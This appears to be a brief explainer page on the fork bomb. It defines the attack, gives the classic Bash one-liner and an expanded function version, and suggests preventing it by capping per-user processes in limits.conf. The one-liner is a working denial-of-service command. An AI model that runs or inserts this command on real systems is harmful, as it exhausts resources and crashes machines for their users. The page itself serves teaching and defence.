Skip to the content.

What is a fork bomb?

A fork bomb is a DoS attack where a process continuously replicates itself and depletes the system resources

Implementation

    :(){ :|: &};:

Replacing : with fork_bomb, this line can be expanded to:

fork_bomb() {
    fork_bomb | fork_bomb &
}
fork_bomb

Prevention

Set a hard limit on number of processes/threads that can be created by a non root user. Add * hard nproc nnn to /etc/security/limits.conf where nnn is the limit you want to apply.